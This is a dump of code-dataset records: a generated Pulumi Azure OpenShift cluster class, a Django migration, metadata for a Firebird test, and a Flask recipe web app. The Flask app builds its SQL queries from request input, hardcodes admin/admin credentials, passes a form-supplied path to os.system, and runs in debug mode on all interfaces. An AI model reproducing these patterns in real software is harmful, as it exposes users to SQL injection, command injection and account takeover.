pulumi.get(self, "agent_pool_profiles") @agent_pool_profiles.setter def agent_pool_profiles(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterAgentPoolProfileArgs']]]]): pulumi.set(self, "agent_pool_profiles", value) @property @pulumi.getter(name="authProfile") def auth_profile(self) -> Optional[pulumi.Input['OpenShiftManagedClusterAuthProfileArgs']]: """ Configures OpenShift authentication. """ return pulumi.get(self, "auth_profile") @auth_profile.setter def auth_profile(self, value: Optional[pulumi.Input['OpenShiftManagedClusterAuthProfileArgs']]): pulumi.set(self, "auth_profile", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ Resource location """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter(name="masterPoolProfile") def master_pool_profile(self) -> Optional[pulumi.Input['OpenShiftManagedClusterMasterPoolProfileArgs']]: """ Configuration for OpenShift master VMs. """ return pulumi.get(self, "master_pool_profile") @master_pool_profile.setter def master_pool_profile(self, value: Optional[pulumi.Input['OpenShiftManagedClusterMasterPoolProfileArgs']]): pulumi.set(self, "master_pool_profile", value) @property @pulumi.getter(name="monitorProfile") def monitor_profile(self) -> Optional[pulumi.Input['OpenShiftManagedClusterMonitorProfileArgs']]: """ Configures Log Analytics integration. """ return pulumi.get(self, "monitor_profile") @monitor_profile.setter def monitor_profile(self, value: Optional[pulumi.Input['OpenShiftManagedClusterMonitorProfileArgs']]): pulumi.set(self, "monitor_profile", value) @property @pulumi.getter(name="networkProfile") def network_profile(self) -> Optional[pulumi.Input['NetworkProfileArgs']]: """ Configuration for OpenShift networking. """ return pulumi.get(self, "network_profile") @network_profile.setter def network_profile(self, value: Optional[pulumi.Input['NetworkProfileArgs']]): pulumi.set(self, "network_profile", value) @property @pulumi.getter def plan(self) -> Optional[pulumi.Input['PurchasePlanArgs']]: """ Define the resource plan as required by ARM for billing purposes """ return pulumi.get(self, "plan") @plan.setter def plan(self, value: Optional[pulumi.Input['PurchasePlanArgs']]): pulumi.set(self, "plan", value) @property @pulumi.getter(name="refreshCluster") def refresh_cluster(self) -> Optional[pulumi.Input[bool]]: """ Allows node rotation """ return pulumi.get(self, "refresh_cluster") @refresh_cluster.setter def refresh_cluster(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "refresh_cluster", value) @property @pulumi.getter(name="resourceName") def resource_name(self) -> Optional[pulumi.Input[str]]: """ The name of the OpenShift managed cluster resource. """ return pulumi.get(self, "resource_name") @resource_name.setter def resource_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_name", value) @property @pulumi.getter(name="routerProfiles") def router_profiles(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftRouterProfileArgs']]]]: """ Configuration for OpenShift router(s). """ return pulumi.get(self, "router_profiles") @router_profiles.setter def router_profiles(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftRouterProfileArgs']]]]): pulumi.set(self, "router_profiles", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Resource tags """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) class OpenShiftManagedCluster(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, agent_pool_profiles: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAgentPoolProfileArgs']]]]] = None, auth_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAuthProfileArgs']]] = None, location: Optional[pulumi.Input[str]] = None, master_pool_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMasterPoolProfileArgs']]] = None, monitor_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMonitorProfileArgs']]] = None, network_profile: Optional[pulumi.Input[pulumi.InputType['NetworkProfileArgs']]] = None, open_shift_version: Optional[pulumi.Input[str]] = None, plan: Optional[pulumi.Input[pulumi.InputType['PurchasePlanArgs']]] = None, refresh_cluster: Optional[pulumi.Input[bool]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, resource_name_: Optional[pulumi.Input[str]] = None, router_profiles: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftRouterProfileArgs']]]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): """ OpenShift Managed cluster. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAgentPoolProfileArgs']]]] agent_pool_profiles: Configuration of OpenShift cluster VMs. :param pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAuthProfileArgs']] auth_profile: Configures OpenShift authentication. :param pulumi.Input[str] location: Resource location :param pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMasterPoolProfileArgs']] master_pool_profile: Configuration for OpenShift master VMs. :param pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMonitorProfileArgs']] monitor_profile: Configures Log Analytics integration. :param pulumi.Input[pulumi.InputType['NetworkProfileArgs']] network_profile: Configuration for OpenShift networking. :param pulumi.Input[str] open_shift_version: Version of OpenShift specified when creating the cluster. :param pulumi.Input[pulumi.InputType['PurchasePlanArgs']] plan: Define the resource plan as required by ARM for billing purposes :param pulumi.Input[bool] refresh_cluster: Allows node rotation :param pulumi.Input[str] resource_group_name: The name of the resource group. :param pulumi.Input[str] resource_name_: The name of the OpenShift managed cluster resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftRouterProfileArgs']]]] router_profiles: Configuration for OpenShift router(s). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags """ ... @overload def __init__(__self__, resource_name: str, args: OpenShiftManagedClusterArgs, opts: Optional[pulumi.ResourceOptions] = None): """ OpenShift Managed cluster. :param str resource_name: The name of the resource. :param OpenShiftManagedClusterArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(OpenShiftManagedClusterArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, agent_pool_profiles: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAgentPoolProfileArgs']]]]] = None, auth_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterAuthProfileArgs']]] = None, location: Optional[pulumi.Input[str]] = None, master_pool_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMasterPoolProfileArgs']]] = None, monitor_profile: Optional[pulumi.Input[pulumi.InputType['OpenShiftManagedClusterMonitorProfileArgs']]] = None, network_profile: Optional[pulumi.Input[pulumi.InputType['NetworkProfileArgs']]] = None, open_shift_version: Optional[pulumi.Input[str]] = None, plan: Optional[pulumi.Input[pulumi.InputType['PurchasePlanArgs']]] = None, refresh_cluster: Optional[pulumi.Input[bool]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, resource_name_: Optional[pulumi.Input[str]] = None, router_profiles: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OpenShiftRouterProfileArgs']]]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = OpenShiftManagedClusterArgs.__new__(OpenShiftManagedClusterArgs) __props__.__dict__["agent_pool_profiles"] = agent_pool_profiles __props__.__dict__["auth_profile"] = auth_profile __props__.__dict__["location"] = location __props__.__dict__["master_pool_profile"] = master_pool_profile __props__.__dict__["monitor_profile"] = monitor_profile __props__.__dict__["network_profile"] = network_profile if open_shift_version is None and not opts.urn: raise TypeError("Missing required property 'open_shift_version'") __props__.__dict__["open_shift_version"] = open_shift_version __props__.__dict__["plan"] = plan __props__.__dict__["refresh_cluster"] = refresh_cluster if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["resource_name"] = resource_name_ __props__.__dict__["router_profiles"] = router_profiles __props__.__dict__["tags"] = tags __props__.__dict__["cluster_version"] = None __props__.__dict__["fqdn"] = None __props__.__dict__["name"] = None __props__.__dict__["provisioning_state"] = None __props__.__dict__["public_hostname"] = None __props__.__dict__["type"] = None alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:containerservice/v20191027preview:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-native:containerservice:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-nextgen:containerservice:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-native:containerservice/v20180930preview:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-nextgen:containerservice/v20180930preview:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-native:containerservice/v20190430:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-nextgen:containerservice/v20190430:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-native:containerservice/v20190930preview:OpenShiftManagedCluster"), pulumi.Alias(type_="azure-nextgen:containerservice/v20190930preview:OpenShiftManagedCluster")]) opts = pulumi.ResourceOptions.merge(opts, alias_opts) super(OpenShiftManagedCluster, __self__).__init__( 'azure-native:containerservice/v20191027preview:OpenShiftManagedCluster', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'OpenShiftManagedCluster': """ Get an existing OpenShiftManagedCluster resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = OpenShiftManagedClusterArgs.__new__(OpenShiftManagedClusterArgs) __props__.__dict__["agent_pool_profiles"] = None __props__.__dict__["auth_profile"] = None __props__.__dict__["cluster_version"] = None __props__.__dict__["fqdn"] = None __props__.__dict__["location"] = None __props__.__dict__["master_pool_profile"] = None __props__.__dict__["monitor_profile"] = None __props__.__dict__["name"] = None __props__.__dict__["network_profile"] = None __props__.__dict__["open_shift_version"] = None __props__.__dict__["plan"] = None __props__.__dict__["provisioning_state"] = None __props__.__dict__["public_hostname"] = None __props__.__dict__["refresh_cluster"] = None __props__.__dict__["router_profiles"] = None __props__.__dict__["tags"] = None __props__.__dict__["type"] = None return OpenShiftManagedCluster(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="agentPoolProfiles") def agent_pool_profiles(self) -> pulumi.Output[Optional[Sequence['outputs.OpenShiftManagedClusterAgentPoolProfileResponse']]]: """ Configuration of OpenShift cluster VMs. """ return pulumi.get(self, "agent_pool_profiles") @property @pulumi.getter(name="authProfile") def auth_profile(self) -> pulumi.Output[Optional['outputs.OpenShiftManagedClusterAuthProfileResponse']]: """ Configures OpenShift authentication. """ return pulumi.get(self, "auth_profile") @property @pulumi.getter(name="clusterVersion") def cluster_version(self) -> pulumi.Output[str]: """ Version of OpenShift specified when creating the cluster. """ return pulumi.get(self, "cluster_version") @property @pulumi.getter def fqdn(self) -> pulumi.Output[str]: """ Service generated FQDN for OpenShift API server loadbalancer internal hostname. """ return pulumi.get(self, "fqdn") @property @pulumi.getter def location(self) -> pulumi.Output[str]: """ Resource location """ return pulumi.get(self, "location") @property @pulumi.getter(name="masterPoolProfile") def master_pool_profile(self) -> pulumi.Output[Optional['outputs.OpenShiftManagedClusterMasterPoolProfileResponse']]: """ Configuration for OpenShift master VMs. """ return pulumi.get(self, "master_pool_profile") @property @pulumi.getter(name="monitorProfile") def monitor_profile(self) -> pulumi.Output[Optional['outputs.OpenShiftManagedClusterMonitorProfileResponse']]: """ Configures Log Analytics integration. """ return pulumi.get(self, "monitor_profile") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Resource name """ return pulumi.get(self, "name") @property @pulumi.getter(name="networkProfile") def network_profile(self) -> pulumi.Output[Optional['outputs.NetworkProfileResponse']]: """ Configuration for OpenShift networking. """ return pulumi.get(self, "network_profile") @property @pulumi.getter(name="openShiftVersion") def open_shift_version(self) -> pulumi.Output[str]: """ Version of OpenShift specified when creating the cluster. """ return pulumi.get(self, "open_shift_version") @property @pulumi.getter def plan(self) -> pulumi.Output[Optional['outputs.PurchasePlanResponse']]: """ Define the resource plan as required by ARM for billing purposes """ return pulumi.get(self, "plan") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> pulumi.Output[str]: """ The current deployment or provisioning state, which only appears in the response. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter(name="publicHostname") def public_hostname(self) -> pulumi.Output[str]: """ Service generated FQDN or private IP for OpenShift API server. """ return pulumi.get(self, "public_hostname") @property @pulumi.getter(name="refreshCluster") def refresh_cluster(self) -> pulumi.Output[Optional[bool]]: """ Allows node rotation """ return pulumi.get(self, "refresh_cluster") @property @pulumi.getter(name="routerProfiles") def router_profiles(self) -> pulumi.Output[Optional[Sequence['outputs.OpenShiftRouterProfileResponse']]]: """ Configuration for OpenShift router(s). """ return pulumi.get(self, "router_profiles") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ Resource tags """ return pulumi.get(self, "tags") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ Resource type """ return pulumi.get(self, "type")

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24,660

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47.606178

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0.200689

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0.280374

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null

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null

0

1

40686f7cd56545ec9981f33c3903dd74fd6b1048

326

py

Python

django_drf_server/quiz/migrations/0017_remove_quiz_questions.py

pammalPrasanna/quizie

3c03552c39ef3d7e613f5b613479df4ef8d44ac1

[ "MIT" ]

null

django_drf_server/quiz/migrations/0017_remove_quiz_questions.py

pammalPrasanna/quizie

3c03552c39ef3d7e613f5b613479df4ef8d44ac1

[ "MIT" ]

null

django_drf_server/quiz/migrations/0017_remove_quiz_questions.py

pammalPrasanna/quizie

3c03552c39ef3d7e613f5b613479df4ef8d44ac1

[ "MIT" ]

null

# Generated by Django 3.2.4 on 2021-06-17 02:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('quiz', '0016_auto_20210617_0724'), ] operations = [ migrations.RemoveField( model_name='quiz', name='questions', ), ]

18.111111

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326

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0

1

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null

0

1

4069e772d72345dc8c5aa0533940bffe33f5921a

18,348

py

Python

main.py

khan-git/webRecipies

4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb

[ "MIT" ]

null

main.py

khan-git/webRecipies

4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb

[ "MIT" ]

null

main.py

khan-git/webRecipies

4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb

[ "MIT" ]

null

# -*- coding: iso-8859-1 -*- import os import shutil import datetime import sqlite3 from flask import Flask, request, session, render_template, g, redirect, url_for, abort, flash, make_response from random import randint import json import urllib2 import json from json.decoder import JSONObject from werkzeug.utils import secure_filename UPLOAD_FOLDER = '/tmp' ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif']) DBBACKUPPATH = os.path.abspath('db_backup') if os.path.exists(DBBACKUPPATH) == False: os.mkdir(DBBACKUPPATH) app = Flask(__name__) #app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS app = Flask(__name__) app.config.from_object(__name__) # Load default config and override config from an environment variable app.config.update(dict( DATABASE=os.path.join(app.root_path, 'recipes.db'), SECRET_KEY='development key', USERNAME='admin', PASSWORD='default', UPLOAD_FOLDER='/tmp' )) app.config['UPPLOAD_FOLDER'] = '/tmp' app.config.from_envvar('FLASKR_SETTINGS', silent=True) def connect_db(): """Connects to the specific database.""" if os.path.exists(app.config['DATABASE']) == False: cmd = 'sqlite3 recipes.db < database.sql' os.system(cmd) rv = sqlite3.connect(app.config['DATABASE']) rv.row_factory = sqlite3.Row return rv def get_db(): """Opens a new database connection if there is none yet for the current application context. """ if not hasattr(g, 'sqlite_db'): g.sqlite_db = connect_db() return g.sqlite_db @app.teardown_appcontext def close_db(error): """Closes the database again at the end of the request.""" if hasattr(g, 'sqlite_db'): g.sqlite_db.close() def init_db(): db = get_db() with app.open_resource('database.sql', mode='r') as f: db.cursor().executescript(f.read()) db.commit() def queryDbFetchOne(query): """Query database, return one result""" db = get_db() cur = db.cursor() cur.execute(query) return cur.fetchone() def queryDbFetchAll(query): """Query database, return one result""" db = get_db() cur = db.cursor() cur.execute(query) return cur.fetchall() def getRecipe(recipeKey): """Get recipe data""" return queryDbFetchOne('SELECT * FROM recipes WHERE key="%s"'%recipeKey) def getIngredients(recipeKey): """Get all ingredients for a recipe""" return queryDbFetchAll('SELECT * FROM recipeAmount WHERE recipeKey="%s"'%recipeKey) def getNextKey(): """Get next number for key""" currentHighKey = queryDbFetchOne('SELECT key FROM recipes ORDER BY key DESC') if currentHighKey is None: print "IS none %s"%currentHighKey currentHighKey = 0 else: currentHighKey = int(currentHighKey[0]) return currentHighKey +1 def insertIntoDb(table, names, values): """Insert into database""" if len(values) != len(names): return None query = 'INSERT INTO %s (%s) VALUES(%s)'%(table, ', '.join(names), ', '.join(values)) rowId = None try: db = get_db() cur = db.cursor() cur = get_db().cursor() cur.execute(query) db.commit() rowId = cur.lastrowid except: db.rollback() finally: return rowId def doRawQuery(query): """Do a raw query""" rowId = None try: db = get_db() cur = db.cursor() cur = get_db().cursor() cur.execute(query) db.commit() rowId = cur.lastrowid except: db.rollback() finally: return rowId def updateDb(table, names, values, where): """Update row in table""" if len(values) != len(names): return None query = 'UPDATE %s SET '%(table) qPairs = [] for name, value in zip(names,values): qPairs.append('%s=%s'%(name,value)) query += ', '.join(x for x in qPairs) query += ' %s'%where rowId = None try: db = get_db() cur = db.cursor() cur = get_db().cursor() cur.execute(query) db.commit() rowId = cur.lastrowid except: db.rollback() finally: return rowId @app.route('/prepdb') def prepdb(): """Prepare database from json file""" f = open('recipes.json','r') buff = f.read() recipes = json.loads(buff) for item in recipes: recipeKey = getNextKey() rowId = insertIntoDb('recipes', ['key', 'title','instructions', 'portions'], [recipeKey, '"%s"'%item['title'], '"%s"'%item['instructions'], item['portions']]) for ingredient in item['ingredients']: keys = ingredient.keys() keys.insert(0, 'recipeKey') values = ingredient.values() values.insert(0, recipeKey) rId = insertIntoDb('recipeAmount', keys, values) for group in item['recipeTag']: insertIntoDb('recipeTag', ['recipeKey', 'group'], [recipeKey, '"%s"'%group]) if 'fridge' in item: insertIntoDb('fridge', ['recipeKey', 'portions'], [recipeKey, item['fridge']]) print " Fridge %d"%item['fridge'] else: print "No fridge" return index() @app.cli.command('initdb') def initdb_command(): """Initializes the database.""" init_db() print 'Initialized the database.' @app.route('/help') def help(): values = {'pageId': 'help', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('help.html', **values) @app.route('/') def index(): values = {'pageId': 'index', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('index.html', **values) # return redirect('login', code=304) @app.route('/login', methods=['GET','POST']) def login(): error = None if request.method == 'POST': if request.form['username'] != 'admin' or request.form['password'] != 'admin': error = 'Invalid Credentials. Please try again.' else: return redirect(url_for('favourite'), code=304) values = {'pageId': 'index', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048), 'error': error } return render_template('login.html', **values) @app.route('/editRecipe', methods=['GET']) def editRecipe(): return newRecipe(request.args['recipeKey']) @app.route('/deleteRecipe', methods=['GET']) def deleteRecipe(): # TODO if 'recipeKey' in request.args: pass pass def deleteAmount(recipeKey): query = 'DELETE FROM recipeAmount WHERE recipeKey=%s'%recipeKey try: db = get_db() cur = db.cursor() cur = get_db().cursor() cur.execute(query) db.commit() rowId = cur.lastrowid except: db.rollback() msg = "error in delete operation" print msg finally: return rowId @app.route('/newRecipe') def newRecipe(recipeKey=None): if recipeKey is not None: recipe = getRecipe(recipeKey) ingredients = getIngredients(recipeKey) else: recipe = None ingredients = None entries = queryDbFetchAll('SELECT name FROM ingredients ') measurements = queryDbFetchAll('SELECT short FROM measurements ') values = {'ingredientsList': entries, 'measurements':measurements, 'recipe':recipe, 'ingredients':ingredients, 'pageId': 'newRecipe', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('newRecipe.html', **values) @app.route('/error') def errorHtml(): values = {'pageId': 'error', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('error.html', **values) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS @app.route('/saveRecipe', methods=['POST']) def saveRecipe(): # TODO add last update time title = request.form['title'] names = ['title'] values = ['"%s"'%title] if 'instructions' in request.form: names.append('instructions') values.append('"%s"'%request.form['instructions']) if 'portions' in request.form: names.append('portions') values.append(request.form['portions']) if 'recipeKey' in request.form: recipeKey = request.form['recipeKey'] updateDb('recipes', names, values, 'WHERE key=%s'%recipeKey) else: recipeKey = getNextKey() names.insert(0, 'key') values.insert(0, '%d'%recipeKey) if insertIntoDb('recipes', names, values) is None: return json.dumps({'redirect':'false', 'result': 'Error creating recipe'}) amount = request.form.getlist('amount') measurement = request.form.getlist('measurement') ingredients = request.form.getlist('ingredient') deleteAmount(recipeKey) for a,m,i in zip(amount, measurement, ingredients): names = ['recipeKey', 'ingredient', 'amount', 'measurement'] values = [str(recipeKey), '"%s"'%i, str(a), '"%s"'%m] if insertIntoDb('recipeAmount', names, values) is None: return json.dumps({'redirect':'false', 'result': 'Error creating recipe'}) return json.dumps({'redirect':True, 'url': '/show/recipe?recipe=%s'%recipeKey}) @app.route('/show/recipe', methods=['GET']) def showRecipe(): recipeKey = request.args.get('recipe') recipe = getRecipe(recipeKey) return displayRecipe(recipe) def displayRecipe(recipe): values = {'key':recipe['key'], 'title': recipe['title'], 'instructions': recipe['instructions'], 'portions': recipe['portions'], 'ingredients': getIngredients(recipe['key']), 'pageId': 'displayRecipe', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('displayRecipe_template.html', **values) @app.route('/randomRecipe', methods=['GET']) def randomRecipe(): recipes = queryDbFetchAll('SELECT * FROM recipes ORDER BY RANDOM() LIMIT 4') return render_template('listRecipes.html', header='Förslag:', lastRecipes=recipes) @app.route('/menuSuggestion', methods=['GET']) def menuSuggestion(): recipes = queryDbFetchAll('SELECT * FROM recipes ORDER BY RANDOM() LIMIT 4') if 'update' in request.args: return render_template('onlyList.html', lastRecipes=recipes) values = {'pagetitle':'Receptakuten', 'title': 'Förslag:', 'lastRecipes': recipes, 'refresh': 'true', 'pageId': 'menuSuggestion', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('listRecipes.html', **values) @app.route('/ajax/search', methods=['GET']) def searchAjax(): if request.method == 'GET': patterns = request.args.getlist('searchPatterns[]') query = '' for p in patterns: if len(query) > 0: query = '%s or '%query query += 'title LIKE "%%%s%%" or instructions LIKE "%%%s%%"'%(p, p) query = 'SELECT key, title FROM recipes WHERE %s LIMIT 10'%query results = queryDbFetchAll(query) t = [] for p in results: h = {} for k in p.keys(): h[k] = p[k] t.append(h) return json.dumps(t) @app.route('/ajax/searchIngredient', methods=['GET']) def searchIngredient(): if request.method == 'GET': patterns = request.args.getlist('searchPatterns[]') print patterns query = '' for p in patterns: if len(query) > 0: query = '%s or '%query query += 'ingredient LIKE "%%%s%%"'%(p) query = 'SELECT DISTINCT ingredient FROM recipeAmount WHERE %s'%query print query results = queryDbFetchAll(query) t = [] for p in results: h = {} for k in p.keys(): h[k] = p[k] t.append(h) return json.dumps(t) @app.route('/search') def search(): values = {'pageId': 'search', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('search.html', **values) def getFridgeJSON(): fridgeContent = queryDbFetchAll('SELECT key, title, fridge.portions AS portions FROM recipes INNER JOIN fridge ON recipes.key = fridge.recipeKey') fridgeJson = [] for row in fridgeContent: rowJson = {} for key in row.keys(): rowJson[key] = row[key] fridgeJson.append(rowJson) return json.dumps(fridgeJson) @app.route('/fromTheFridge') def fromTheFridge(): values = {'pageId': 'fromTheFridge', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('whatsinthefridge.html', **values) # Update fridge content @app.route('/ajax/updateFridge', methods=['GET','POST']) def updateFridge(): if request.method == 'POST': recipesJson = request.form.getlist('recipes') recipes = json.loads(recipesJson[0]) keys = [] for item in recipes: keys.append(item['key']) queryUpdate = 'UPDATE fridge SET portions=%d WHERE recipeKey=%d'%(item['portions'], item['key']) queryInsert = 'INSERT INTO fridge (recipeKey, portions) SELECT %d,%d WHERE(Select Changes() = 0)'%(item['key'], item['portions']) doRawQuery(queryUpdate) doRawQuery(queryInsert) currentKeys = queryDbFetchAll('SELECT recipeKey FROM fridge ORDER BY recipeKey') for key in currentKeys: if key['recipeKey'] not in keys: deleteQuery = 'DELETE FROM fridge WHERE recipeKey=%s'%key['recipeKey'] doRawQuery(deleteQuery) return getFridgeJSON() @app.route('/groceryList') def groceryList(): recipes = queryDbFetchAll('SELECT key, title, portions FROM recipes ORDER BY title') ingredients = {} for recipe in recipes: ingredients[recipe['key']] = getIngredients(recipe['key']) values = {'pageId': 'groceryList', 'recipes': recipes, 'ingredients': ingredients, 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('groceryList.html', **values) @app.route('/favourite') def favourite(): """Show favourite recipes""" values = {'pageId': 'favouritePage', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('favourite.html', **values) @app.route('/ajax/getRecipesJson', methods=['GET','POST']) def getRecipesJson(): if request.method == 'POST': recipeKeys = request.form.getlist('recipe') query = 'SELECT * FROM recipes where ' qyeryKeys = [] for recipes in recipeKeys: jsonKeys = json.loads(recipes) for key in jsonKeys: qyeryKeys.append('key=%s'%key['recipeKey']) query += ' OR '.join(qyeryKeys) recipeList = queryDbFetchAll(query) jsonReply = [] for rowRecipe in recipeList: tmpJson = {} for key in rowRecipe.keys(): tmpJson[key] = rowRecipe[key] ingredientsJson = [] for row in getIngredients(rowRecipe['key']): tmpIngredient = {} for key in row.keys(): if key == 'recipeKey': continue tmpIngredient[key] = row[key] ingredientsJson.append(tmpIngredient) tmpJson['ingredients'] = ingredientsJson jsonReply.append(tmpJson) return json.dumps(jsonReply) recipes = queryDbFetchAll('SELECT key, title FROM recipes') rows = [] for i in recipes: rows.append(dict(i)) return json.dumps(rows) @app.route('/manifest.json') def manifestJSON(): return url_for('static', filename='manifest.json') @app.route('/manifest.appcache') def manifest(): res = make_response(render_template('manifest.appcache'), 200) res.headers["Content-Type"] = "text/cache-manifest" return res @app.route('/admin/restore', methods = ['POST']) def dorestore(): versionF = os.path.abspath(os.path.join(DBBACKUPPATH, request.form.get('version'))) if os.path.exists(versionF): now = datetime.datetime.now().strftime('%Y%m%d_%H%M%S') name = '%s_bfrestore.sql'%now dobackup(name) tables = queryDbFetchAll('SELECT name FROM sqlite_master WHERE type = "table"') for tab in tables: doRawQuery('DROP TABLE %s'%tab['name']) cmd = 'sqlite3 recipes.db < %s'%versionF os.system(cmd) return getstatus() @app.route('/admin/backup') def adminbackup(): now = datetime.datetime.now().strftime('%Y%m%d_%H%M%S') dobackup(now+'.sql') return getstatus() def dobackup(name): dbF = open(os.path.join(DBBACKUPPATH, name), 'w') con = get_db() dbF.write('\n'.join(con.iterdump()).encode('utf8')) dbF.close() @app.route('/admin/status') def getstatus(): status = {} status['num_of_recipes'] = queryDbFetchOne('SELECT count(*) as rows FROM recipes')['rows'] status['num_of_fridge'] = queryDbFetchOne('SELECT count(*) as rows FROM fridge')['rows'] status['num_of_ingredients'] = queryDbFetchOne('SELECT count(*) as rows FROM (SELECT DISTINCT ingredient FROM recipeAmount)')['rows'] status['backups'] = sorted(os.listdir(DBBACKUPPATH), reverse=True) return json.dumps(status, sort_keys=True, indent=4, separators=(',', ': ')) @app.route('/admin') def adminpage(): values = {'pageId': 'adminPage', 'popupMenuId': 'popupMenuId%d'%randint(1, 1048) } return render_template('admin.html', **values) if __name__ == "__main__": # import logging # file_handler = RotatingFileHandler('/tmp/receptakuten.log', bakupCount=5) # file_handler.setLevel(logging.WARNING) # app.logger.addHandler(file_handler) app.run(host="0.0.0.0", debug=True) # app.run(debug=True)

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null

0

null

0

1

0

1

406a21613d9b1dbc55f543cfe42bc9ef9b68a79c

1,749

py

Python

tests/bugs/core_2678_test.py

FirebirdSQL/firebird-qa

96af2def7f905a06f178e2a80a2c8be4a4b44782

[ "MIT" ]

1

2022-02-05T11:37:13.000Z

tests/bugs/core_2678_test.py

FirebirdSQL/firebird-qa

96af2def7f905a06f178e2a80a2c8be4a4b44782

[ "MIT" ]

1

2021-09-03T11:47:00.000Z

2021-09-03T12:42:10.000Z

tests/bugs/core_2678_test.py

FirebirdSQL/firebird-qa

96af2def7f905a06f178e2a80a2c8be4a4b44782

[ "MIT" ]

1

2021-06-30T14:14:16.000Z

